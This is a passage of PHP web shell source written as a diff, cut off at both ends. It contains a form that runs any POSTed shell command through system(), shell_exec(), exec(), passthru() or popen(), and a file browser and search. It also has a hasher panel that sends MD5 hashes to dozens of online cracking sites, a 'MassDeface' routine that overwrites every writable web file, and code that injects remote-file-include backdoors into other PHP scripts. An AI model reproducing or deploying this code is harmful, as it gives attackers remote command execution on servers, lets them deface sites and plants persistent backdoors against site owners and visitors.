'CLI') { + echo '<form action="" method="post"><table><tr><td valign="center"><span style="font-weight:bold;color:white;">',htmlspecialchars($CDIR),' &gt;<span style="text-decoration:blink;">_</span></span></td><td><input type="text" style="background-color:#1C1C1C;width:400px;border:none;" name="c" id="c" '; if (isset($_POST['c'])) { echo 'value="',htmlspecialchars($_POST['c']),'"'; } echo ' /></td><td valign="center"><input type="submit" value="Exec" style="-moz-border-radius-bottomright:0px;-webkit-border-bottom-left-radius:0px;background-color:black;"></td></tr></table><br /><textarea readonly="readonly" cols="82" rows="17" style="overflow:auto;background-color:#000000">'; + if (function_exists('system')) { system($_POST['c']); } + elseif (function_exists('shell_exec')) { echo shell_exec($_POST['c']); } + elseif (function_exists('exec')) { $ExecArray = array(); exec($_POST['c'],$ExecArray); foreach ($ExecArray AS $Arr) { echo $Arr,"\r\n"; } } + elseif (function_exists('passthru')) { passthru($_POST['c']); } + elseif (function_exists('popen')) { $Read=''; $Handle = popen($_POST['c'],'r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } + else { echo 'Could not execute command using system(), shell_exec(), passthru(), exec() && popen().'; } + echo '</textarea>'; + } + elseif ($_GET['action'] === 'dir') { + echo '<div style="width:500px;text-align:left;background-color:#282828;"><fieldset> + <legend><a href="?dir=',urlencode(realpath($_GET['dirname'])),'"><h3>',htmlspecialchars(realpath($_GET['dirname'])),'</h3></a></legend> + Permissions: <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',$_GET['dirname'],'&amp;act=chmod"><font'; $A = GetPerms($_GET['dirname']); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'</font></a> (0'.substr(sprintf('%o',fileperms($_GET['dirname'])),-3).')<br /> + Last Modified: ',date ('F d Y H:i:s.', filemtime($_GET['dirname'])),'<br /> + Last Accessed: ',date ('F d Y H:i:s.', fileatime($_GET['dirname'])),'<br /> + Last Inode Change: ',date ('F d Y H:i:s.', filectime($_GET['dirname'])),'<br />'; + $dir = array(); + if (function_exists('scandir')) { $dir = scandir($_GET['dirname']); } + elseif (function_exists('glob')) { $dir = glob($_GET['dirname']); $GLOB = TRUE; } + elseif (function_exists('opendir') && function_exists('readdir')) { $i = 0; $Handle = opendir($_GET['dirname']); while (($File = readdir($Handle))) { $dir[$i++] = $File; } closedir($Handle); } + if (count($dir) !== 0) { + $Dirs = 0; $Files = 0; + foreach ($dir AS $FILE) { + if (is_dir($FILE)) {++$Dirs; } + else {++$Files; } + } + if (!isset($GLOB)) { $Dirs -= 2; } + echo 'Contains ',$Files,' files and ',$Dirs, ' Directories<br />'; + } + echo '</fieldset></div>'; + } + elseif ($_GET['action'] === 'encoder') { + echo '<h1>Encoder/Decoder/Hasher/Base converter/MD5 cracker</h1><form method="post" action=""><table style="text-align:right;"><tr><td>Text:</td><td><input type="text" size="45" style="margin-left:6px;" name="Plain" id="Plain"'; if (isset($_POST['Plain'])) { echo ' value="',htmlspecialchars($_POST['Plain']),'"'; } echo ' /></td></tr><tr><td>HMAC Key:</td><td><input type="text" size="45" style="margin-left:2px;" name="HMACKey" id="HMACKey"'; if (isset($_POST['HMACKey'])) { echo ' value="',htmlspecialchars($_POST['HMACKey']),'"'; } echo ' /></td></tr><tr><td>Crypt() salt:</td><td><input type="text" size="45" name="CSalt" id="CSalt"'; if (isset($_POST['CSalt'])) { echo ' value="',htmlspecialchars($_POST['CSalt']),'"'; } echo ' /></td></tr></table><br /><br /><input type="submit" value="Calculate" /></form>'; + if (isset($_POST['Plain'])) { + echo '<br /><br /><fieldset style="width:420px;"><legend>Hashesums</legend><table><tr style="text-align: right;"><td> + Crypt: <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="'; if (empty($_POST['CSalt'])) { echo crypt($_POST['Plain']); } else { echo crypt($_POST['Plain'],$_POST['CSalt']); } echo '" /><br />'; + if (function_exists('hash') && empty($_POST['HMACKey'])) { $Hashes = hash_algos();foreach ($Hashes AS $HASH) { echo strtoupper($HASH).': <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',hash($HASH,$_POST['Plain']).'" /><br />'; }} + elseif (!empty($_POST['HMACKey']) && function_exists('hash_hmac')) { $Hashes = hash_algos();foreach ($Hashes AS $HASH) { echo strtoupper($HASH).' HMAC: <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',hash_hmac($HASH,$_POST['Plain'],$_POST['HMACKey']).'" /><br />'; }} + elseif (function_exists('mhash')) { + $Hashes = array('ADLER32',MHASH_ADLER32,'CRC32',MHASH_CRC32,'CRC32B',MHASH_CRC32B,'GOST',MHASH_GOST,'HAVAL128',MHASH_HAVAL128,'HAVAL160',MHASH_HAVAL160,'HAVAL192',MHASH_HAVAL192,'HAVAL256',MHASH_HAVAL256,'MD4',MHASH_MD4,'MD5',MHASH_MD5,'RIPEMD160',MHASH_RIPEMD160,'SHA1',MHASH_SHA1,'SHA256',MHASH_SHA256,'TIGER',MHASH_TIGER,'TIGER128',MHASH_TIGER128,'TIGER160',MHASH_TIGER160); + if (empty($_POST['HMACKey'])) { + for ($i = 0, $j = 0; $i < 16; $i++, $j+=2) { + echo $Hashes[$j],': <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',bin2hex(mhash($Hashes[$j+1],$_POST['Plain'])),'" /><br />'; + } + } + else { + for ($i = 0, $j = 0; $i < 16; $i++, $j+=2) { + echo $Hashes[$j],' HMAC: <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',bin2hex(mhash($Hashes[$j+1],$_POST['Plain'],$_POST['HMACKey'])),'" /><br />'; + } + } + + } + else { + echo 'MD5: <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',md5($_POST['Plain']),'" />'; if (function_exists('sha1')) { echo '<br />SHA-1: <input type="text" onfocus="this.select()" onmouseover="this.select()" size="40" readonly="readonly" value="',sha1($_POST['Plain']),'" />'; } if (function_exists('crc32')) { echo '<br />CRC-32: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',crc32($_POST['Plain']),'" />'; } + } + echo '</tr></table></fieldset><br /><fieldset style="width:450px;"><legend>Encoder\Decoder</legend><table><tr style="text-align:right;"><td> + Base64 Encode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',base64_encode($_POST['Plain']),'" /><br /> + Base64 Decode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',base64_decode($_POST['Plain']),'" /><br /> + URL Encode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',urlencode($_POST['Plain']),'" /><br /> + URL Decode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(urldecode($_POST['Plain'])),'" /><br /> + HTMLSpecialChars Encode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',str_replace('&','&amp;', htmlspecialchars($_POST['Plain'])),'" /><br />'; + if (function_exists('htmlspecialchars_decode')) { echo 'HTMLSpecialChars Decode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(htmlspecialchars_decode($_POST['Plain'])),'" /><br />'; } + if (function_exists('convert_uuencode')) { echo 'UUEncode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(convert_uuencode($_POST['Plain'])),'" /><br />'; } + if (function_exists('convert_uudecode')) { echo 'UUDecode: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',convert_uudecode($_POST['Plain']),'" /><br />'; } + echo 'ROT13: <input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(str_rot13($_POST['Plain'])),'" /> + </td></tr></table></fieldset>'; + if (is_numeric($_POST['Plain'])) { + $Bases = array('Hex2Dec',16,10,'Hex2Oct',16,8,'Hex2Bin',16,2,'Dec2Hex',10,16,'Dec2Oct',10,8,'Dec2Bin',10,2,'Oct2Hex',8,16,'Oct2Dec',8,10,'Oct2Bin',8,2,'Bin2Hex',2,16,'Bin2Dec',2,10,'Bin2Oct',2,8); + echo '<br /><fieldset style="width:640px;"><legend>Base Convertor</legend><table><tr><td>'; + for ($i = 0, $j = 0; $i < 12; $i++, $j+=3) { + if ($i % 3 === 0) { echo '</td><td>'; } + echo $Bases[$j],': <input type="text" onfocus="this.select()" onmouseover="this.select()" size="20" readonly="readonly" value="',base_convert($_POST['Plain'],$Bases[$j+1],$Bases[$j+2]),'" />'; + } + echo '</td></tr></table></fieldset>'; + unset($Bases); + } + if (preg_match('/^[0-9a-zA-Z]{32}$/',$_POST['Plain'])) { + echo '<br /><fieldset style="width:630px;"><legend>MD5 Cracking By Rainbow Tables</legend> + <form action="http://www.hashchecker.de/',$_POST['Plain'],'" method="get" target="_blank" style="display:inline;"><input type="submit" value="www.hashchecker.de" /></form><br /> + <table style="text-align:left;"><tr> + <td><form action="http://md5.noisette.ch/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="md5.noisette.ch" style="width:150px;"></form></td> + <td><form action="http://www.bigtrapeze.com/md5/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="query" name="query" value="',$_POST['Plain'],'" /><input type="submit" value="www.bigtrapeze.com" style="width:150px;" /></form></td> + <td><form action="http://md5.ip-domain.com.cn/index.htm" method="post" target="_blank" style="display:inline;"><input type="hidden" id="text" name="text" value="',$_POST['Plain'],'" /><input type="submit" value="md5.ip-domain.com.cn" style="width:150px;" /></form></td> + <td><form action="http://passcracking.com/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="datafromuser" name="datafromuser" value="',$_POST['Plain'],'" /><input type="submit" value="passcracking.com" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://md5.hashcracking.com/search.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'" /><input type="submit" value="md5.hashcracking.com" style="width:150px;" /></form></td> + <td><form action="http://gdataonline.com/qkhash.php?" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="hidden" id="mode" name="mode" value="txt" /><input type="submit" value="gdataonline.com" style="width:150px;" /></form></td> + <td><form action="http://milw0rm.com/cracker/search.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="milw0rm.com" style="width:150px;" /></form></td> + <td><form action="http://md5decryption.com" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="hidden" name="submit" id="submit" value="Decrypt It!" /><input type="submit" value="md5decryption.com" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://www.hashchecker.com/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="search_text" name="search_field" value="',$_POST['Plain'],'" /><input type="submit" value="www.hashchecker.com" style="width:150px;" /></form></td> + <td><form action="http://victorov.su/md5/" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5d" name="md5d" value="',$_POST['Plain'],'" /><input type="submit" value="victorov.su" style="width:150px;" /></form></td> + <td><form action="http://md5.web-max.ca/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="string" name="string" value="',$_POST['Plain'],'" /><input type="submit" value="md5.web-max.ca" style="width:150px;" /></form></td> + <td><form action="http://www.md5decrypter.com/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="www.md5decrypter.com" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://www.cmd5.org/default.aspx" method="post" target="_blank" style="display:inline;"><input type="hidden" id="ctl00_ContentPlaceHolder1_TextBoxq" name="ctl00$ContentPlaceHolder1$TextBoxq" value="',$_POST['Plain'],'" /><input type="hidden" id="ctl00_ContentPlaceHolder1_InputHashType" name="ctl00$ContentPlaceHolder1$InputHashType" value="md5" /><input type="hidden" id="ctl00_ContentPlaceHolder1_Button1" name="ctl00$ContentPlaceHolder1$Button1" value="decrypt" /><input type="submit" value="www.cmd5.org" style="width:150px;" /><input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" /><input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" /><input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="+MN0HB4uys9ziObtFE4Ft+HIiW08UancNKR49xRNHWX4eaHCdvMBaC6DNGHcmMrfMh5xteguu3qqukk0UT/UYJjrgyf66Va+DMAO0LBStlvSgsQEvC9d6/Ox/1TkfWT1ZFpKsUhzAXEKeMiKr11wAbIoevXIx4NlTHWWgGq4vC0O8lwEVTcMxe3tvzspwOJSkWIB6y2dhF03BsY4SnFWVNQRGie5uk+S/8XOHCoEFJ52Q3qOdiJdwT7NpZAGeequ3xv1Ey8TExuULC/QAUvnNovgW2SKzeZMO0HAGtLxrJoBFLUoSRrMqadlmYctIyOgLJ0H+J0vx5tyeOBzyg/Ar9LvTDUWVtHRW7XGnBs3hKhsgPyts1a16Q/hRLg0iWsXNvqvfvxYjpaJ1DUJR6nJ+vPos2Bk5V67din8BXGal0BqIhdXS5aOKFCaY1qP4cglpT5N77/Lti7IllKwEBmcVtQwKXqLHwTy+M2PMys+jrj9CzX7gFNSfx+11NDwDwYo8oAhMvyJjg02l0220cynmVOXbGViSLdSq/nTD2vYLnBHhlqvFpIzgrd/BqHK3sn6OsfCxMuiMZptMza7qB758OOSeJoDGwog/CqEaeVDPC1CYKMFmimws0Q2vtKs88zClZAV0ZYEN1B37z1efanzxghHeGceVx7PAn8SbyUlSeqmbabcs0hyHKLIIR8HZsiS6IRqgE0YPIEYATOuNGSBx6g5BlD+ExlRns1Dl75rZc2ZFTehef7IQzmjMNFt4mlYEdNT2Zc85+RrUQ9aeu5xqO1JhR8DtqxPdeRZc5KLDunwllh0mNiONuZBsGfMeZSjXiiG3ZdIrh7FDxQWxZvmJe+mIh68eiVr+ZIbFaL1RA8dau+o1SffU7sIzPVIRj/LNFvG/UfW8kbifWCO50u7EhDIgPgabYvPdoeDtJqCRWOHdpeep0+2Umz1Q6a6JaKxOpqfH01ePn7jncfwMfQaViaZ/luWfnzEVChO9YV5UtW0XAwK1af8U/zVFzaNv5+tqVd3UF1nCLCVHKAkgPyMHl64Ikk7W6YyBkDY6fjiXp6mm/yx7xHKt2iHBIZ6Qs6HjJYs2HLxYcji0wHHuue2WYuzFcBgBiJOYwZz11n4vov8TpBBcDehXkzz8bWvKw2XK3FE5ZoP3GVO4t+pSYgVvO6WbI1ZXx/jOtUtTChaNIe2Wt85axkyFFW/u7mg4mQlKweSkw9gjhWkL/JNSvaNqKglwAG1/RnWX5piAepRPnZ5bOHEWBvrvfcWWgrE+8+T+/N6N0dwUuU/+o0r5Blj9lxjg+zMfxjLJuWXky6z6N110RS1I8jhip9nFHD7teVxjZ9ZFZRid7YRJaM+eQzYKAry1Kyu+PXiu6+SKcpgbc0hQzd2TGxNb4bT4lB3YVteMQRZ/UUpZcC0Yfh4MAo3mEgspxYlC+Nre9vX8bl5UUWB+DelplSpmE+OImh5dhsLyAUlrS3cJ63wyjxmfjbeQ5W5IDb7c2dXmvK05dTunGFy5oc3OqoTzWphuwYRKiDaUd3NrAKAxNFweUm6cWAO4BR54LwLQEaFIySVHBUJybKbl9FHS1vP9Z/RNolbESnmXzokcugQclfDk0Eqrt5sE+Z6tLyL+QChQtZvuD4N67ghKxC4IoFpKg==" /></form></td> + <td><form action="http://hashkiller.com/api/api.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'" /><input type="submit" value="hashkiller.com" style="width:150px;" /></form></td> + <td><form action="http://www.md5crack.com/crackmd5.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="term" name="term" value="',$_POST['Plain'],'" /><input type="submit" value="www.md5crack.com" style="width:150px;" /></form></td> + <td><form action="http://tools.benramsey.com/md5/md5.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="tools.benramsey.com" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://hashcrack.com/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="hashcrack.com" style="width:150px;" /></form></td> + <td><form action="http://md5.allfact.info/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="decrypt" name="decrypt" value="',$_POST['Plain'],'" /><input type="hidden" name="act" id="act" value="decrypt" /><input type="submit" value="md5.allfact.info" style="width:150px;" /></form></td> + <td><form action="http://blacklight.gotdns.org/cracker/mycracker.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="hidden" name="algo" id="algo" value="MD5" /><input type="submit" value="blacklight.gotdns.org" style="width:150px;" /></form></td> + <td><form action="http://crackfor.me/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="hidden" name="act" id="act" value="find" /><input type="submit" value="crackfor.me" style="width:150px;" /></form></td></tr> + <tr><tr><td><form action="http://schwett.com/md5/index.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5value" name="md5value" value="',$_POST['Plain'],'" /><input type="hidden" name="md5c" id="md5c" value="Hash Match" /><input type="submit" value="schwett.com" style="width:150px;" /></form></td> + <td><form action="http://md5.rednoize.com/" method="get" target="_blank" style="display:inline;"><input type="hidden" id="q" name="q" value="',$_POST['Plain'],'" /><input type="hidden" name="s" id="s" value="md5" /><input type="submit" value="md5.rednoize.com" style="width:150px;" /></form></td> + <td><form action="http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="champ2" name="champ2" value="',$_POST['Plain'],'" /><input type="submit" value="authsecu.com"0 style="width:150px;"></form></td> + <td><form action="http://www.cloudcracker.net/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="inputbox" name="inputbox" value="',$_POST['Plain'],'" /><input type="submit" value="www.cloudcracker.net" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://cryptohaze.com/addhashes.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="sHashes" name="sHashes" value="',$_POST['Plain'],'" /><input type="hidden" name="iHashType" id="iHashType" value="1" /><input type="hidden" name="bAddHashes" id="bAddHashes" value="1" /><input type="hidden" name="format" id="format" value="1" /><input type="submit" value="cryptohaze.com" style="width:150px;" /></form></td> + <td><form action="http://hash.insidepro.com/index.php?lang=eng" method="post" target="_blank" style="display:inline;"><input type="hidden" id="h1" name="h1" value="',$_POST['Plain'],'" /><input type="submit" value="hash.insidepro.com" style="width:150px;" /></form></td> + <td><form action="http://hashfind.info/oldstuff/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="textfield" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="hashfind.info" style="width:150px;" /></form></td> + <td><form action="http://md5-db.de/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'" /><input type="submit" value="md5-db.de" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://md5.drasen.net/search.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="query" name="query" value="',$_POST['Plain'],'" /><input type="hidden" name="enter" id="enter" value="Generieren/Suchen" /><input type="submit" value="md5.drasen.net" style="width:150px;" /></form></td> + <td><form action="http://md5.gromweb.com/query/',$_POST['Plain'],'" method="get" target="_blank" style="display:inline;"><input type="submit" value="md5.gromweb.com" style="width:150px;" /></form></td> + <td><form action="http://md5.myinfosec.net/md5.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5hash" name="md5hash" value="',$_POST['Plain'],'" /><input type="submit" value="md5.myinfosec.net" style="width:150px;" /></form></td> + <td><form action="http://md5.thekaine.de/" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="submit" value="md5.thekaine.de" style="width:150px;" /></form></td> + <tr><td><form action="http://www.md5hood.com/index.php/cracker/crack" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'" /><input type="hidden" name="submit" id="submit_search" value="Go" /><input type="submit" value="www.md5hood.com" style="width:150px;" /></form></td> + <td><form action="http://md5online.net/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="pass" name="pass" value="',$_POST['Plain'],'" /><input type="hidden" name="option" id="option" value="hash2text" /><input type="submit" value="md5online.net" style="width:150px;" /></form></td> + <td><form action="http://netmd5crack.com/cgi-bin/Crack.py" method="get" target="_blank" style="display:inline;"><input type="hidden" id="InputHash" name="InputHash" value="',$_POST['Plain'],'" /><input type="submit" value="netmd5crack.com" style="width:150px;" /></form></td> + <td><form action="http://shell-storm.org/md5/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="summd5" name="summd5" value="',$_POST['Plain'],'" /><input type="submit" value="shell-storm.org" style="width:150px;" /></form></td></tr> + <tr><td><form action="http://tools.kerinci.net/?x=md5" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5hash" name="hash" value="',$_POST['Plain'],'" /><input type="hidden" name="search" id="search" value="Search" /><input type="submit" value="tools.kerinci.net" style="width:150px;" /></form></td> + <td><form action="http://www.mmkey.com/md5/home.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'" /><input type="hidden" name="chkmd5" id="chkmd5" value="FIND" /><input type="hidden" name="lx" id="lx" value="chkmysql" /><input type="submit" value="www.mmkey.com" style="width:150px;" /></form></td> + <td><form action="http://www.md5-lookup.com/index.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="q" name="q" value="',$_POST['Plain'],'" /><input type="submit" value="www.md5-lookup.com" style="width:150px;" /></form></td> + <td><form action="http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'" /><input type="submit" value="md5.my-addr.com" style="width:150px;" /></form></td> + </tr></table></fieldset>'; + } + } + } + elseif ($_GET['action'] === 'search') { + echo '<form action="?" method="get"> + Search for files and directories that their name + <select id="type" name="type"> + <option value="exact"'; if ($_GET['type'] === 'exact') { echo ' selected="selected"'; } echo '>is</option> + <option value="begins"'; if ($_GET['type'] === 'begins') { echo ' selected="selected"'; } echo '>begins with</option> + <option value="nbegins"'; if ($_GET['type'] === 'nbegins') { echo ' selected="selected"'; } echo '>doesn\'t begin with</option> + <option value="ends"'; if ($_GET['type'] === 'ends') { echo ' selected="selected"'; } echo '>ends with</option> + <option value="nends"'; if ($_GET['type'] === 'nends') { echo ' selected="selected"'; } echo '>doesn\'t end with</option> + <option value="nendsbegins"'; if ($_GET['type'] === 'nends') { echo ' selected="selected"'; } echo '>doesn\'t begin or end with</option> + <option value="contains"'; if ($_GET['type'] === 'contains') { echo ' selected="selected"'; } echo '>contains</option> + <option value="ncontains"'; if ($_GET['type'] === 'ncontains') { echo ' selected="selected"'; } echo '>excludes</option> + <option value="lengthless"'; if ($_GET['type'] === 'lengthless') { echo ' selected="selected"'; } echo '>length is less than</option> + <option value="lengthabove"'; if ($_GET['type'] === 'lengthabove') { echo ' selected="selected"'; } echo '>length is more than</option> + <option value="regexp"'; if ($_GET['type'] === 'regexp') { echo ' selected="selected"'; } echo '>matches this Regexp</option> + </select> + <input type="text" size="40" id="search" name="search"'; if (isset($_GET['search'])) { echo ' value="',htmlspecialchars($_GET['search']),'"'; } echo ' /><br /> + Directory: <input type="text" size="40" id="dir" name="dir" value="',htmlspecialchars($CDIR),'" /><br /><br /> + <input type="checkbox" name="casein" id="casein"';if (isset($_GET['casein']) || !isset($_GET['search'])) { echo ' checked="checked"'; } echo ' /> case-insensitive + <br /><br /> + On Windows, use //computername/share/filename or \\computername\share\filename to check files on network shares. + <br /><br /><font color="red">Warning: The search may show false results due to Safe Mode restrictions!</font><br /><br /> + <input type="submit" value="Search!" /> + </form><br />'; + } + /*elseif ($_GET['action'] === 'ManSQL') { + if (isset($_POST['server']) && empty($_POST['server']) === FALSE) { + if ($_POST['servertype'] === 'MySQL') { + if (mysql_connect()) + }) + elseif ($_POST['servertype'] === 'MSSQL') { + + } + } + else { + echo '<form action="" method="post"><h3>Connect To SQL Server:</h3> + <input type="text" id="server" name="server" value="Server Name" onclick="javascript:if (this.value === \'Server Name\') this.value=\'\';" /> + <select id="servertype" name="servertype"><option value="MySQL">MySQL</option><option value="MSSQL">MSSQL</option><option value="PostgreSQL">PostgreSQL</option></select> + <input type="submit" value="Connect" /></form>'; + } + //echo '<table><tr><td></td><td><fieldset><legend>SQL Version</legend></fieldset></td></tr></table>'; + }*/ + elseif ($_GET['action'] === 'MassDeface') { + if (isset($_POST['Opt1'])) { + $Files = array(); + if (function_exists('scandir')) { $dir = scandir('.'); } + elseif (function_exists('opendir') && function_exists('readdir')) { $Handle = opendir('.'); while (($File = readdir($Handle))) { $dir[$i++] = $File; } closedir($Handle); sort($dir); } + else { $dir = glob('*'); } + if ($_POST['type'] === 'All') { for ($i = 0, $k = 0, $Z = count($dir); $i < $Z; $i++) { if (is_file($dir[$i]) && is_writable($dir[$i])) { $Files[$k++] = $dir[$i]; } } } + else { + for ($i = 0, $k = 0, $Z = count($dir); $i < $Z; $i++) { + $Ext = substr(strrchr(strtolower($dir[$i]), '.'), 1); + if (is_file($dir[$i]) && is_writable($dir[$i]) && in_array($Ext,array('html','htm','xhtml','xht','xml','shtml','xhtm','php','phtml','php3','php4','php5','php6','phtm','phps','asp','asphtml','aspx','jsp','cfm','cfml','py','pl','cgi','rb','rhtml'),TRUE)) { + $Files[$k++] = $dir[$i]; + } + } + } + if (count($Files) === 0) { echo 'There are no writeable files in the directory'; if ($_POST['type'] !== 'All') { echo ' with a valid extension.'; } else { echo '.'; } echo '<br />'; } + else { + $Z = count($dir); + if (function_exists('file_put_contents')) { for ($i = 0; $i <= $Z; $i++) { file_put_contents($Files[$i], $_POST['content']); } $Suc = TRUE; } + elseif (function_exists('fopen') && function_exists('fwrite')) { for ($i = 0; $i <= $Z; $i++) { $Handle = fopen($Files[$i],'wb'); fwrite($Handle,$_POST['content']); fclose($Handle); } $Suc = TRUE; } + elseif (function_exists('fopen') && function_exists('fputs')) { for ($i = 0; $i <= $Z; $i++) { $Handle = fopen($Files[$i],'wb'); fputs($Handle,$_POST['content']); fclose($Handle); } $Suc = TRUE; } + elseif (function_exists('fopen') && function_exists('fputcsv')) { for ($i = 0; $i <= $Z; $i++) { $Handle = fopen($Files[$i],'wb'); fputcsv($Handle,array($_POST['content'])); fclose($Handle); } $Suc = TRUE; } + + if (!isset($Suc)) { echo 'Could not deface files. (No available functions)<br />'; } + else { echo 'Files defaced successfully.<br />'; } + } + } + else if (isset($_POST['Opt2'])) { + if (!empty($_POST['vuln'])) { + $dir = array(); + if (isset($_POST['filename'])) { $dir[0] = $_POST['filename']; } + else { + if (function_exists('scandir')) { $dir = scandir($CDIR); } + elseif (function_exists('glob')) { $dir = glob($CDIR); $GLOB = TRUE; } + elseif (function_exists('opendir') && function_exists('readdir')) { $j = 0; $Handle = opendir($CDIR); while (($File = readdir($Handle))) { $dir[$j++] = $File; } closedir($Handle); } + } + $FilesCount = 0; $Files = array(); + if (count($dir) !== 0) { + foreach ($dir AS $FILE) { + if (is_file($FILE)) { + $Ext = substr(strrchr(strtolower($FILE), '.'), 1); + if (in_array($Ext,array('php','phtml','php3','php4','php5','php6','phtm','phps'),TRUE)) { $Files[$FilesCount++] = $FILE; } + } + } + } + else { echo 'There are no files or sub-directories in this directory.<br />'; } + if (count($Files) === 0) { echo 'There are no PHP scripts in the directory.<br />'; } + if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) { + if (function_exists('fread')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = fread($handle,sprintf('%u',filesize($File))); + fclose($handle); + return $contents; + } + } + elseif (function_exists('fgets')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = ''; $Line = ''; + do { + $Line = fgets($handle,sprintf('%u',filesize($File))); + $contents .= $Line; + } while ($Line !== FALSE); + fclose($handle); + return $contents; + } + } + else { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = ''; $Character = ''; + do { + $Character = fgetc($handle,sprintf('%u',filesize($File))); + $contents .= $Character; + } while ($Character !== FALSE); + fclose($handle); + return $contents; + } + } + } + else { $FilesCount = 0; echo 'Could not read files (no available functions).'; } + if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) { + if (function_exists('fwrite')) { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + fwrite($handle,$StringT); + fclose($handle); + } + } + elseif (function_exists('fputs')) { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + fputs($handle,$StringT); + fclose($handle); + } + } + else { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + fputcsv($handle,array($StringT)); + fclose($handle); + } + } + } + else { $FilesCount = 0; echo 'Could not write to files (no available functions).'; } + $AVuln = ''; + if ($_POST['vuln'] === 'RFII') { $AVuln = 'if(@function_exists(\'include\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'include_once\')) {@include_once($_POST[\'c37\']); }'; } + elseif ($_POST['vuln'] === 'RFIR') { $AVuln = 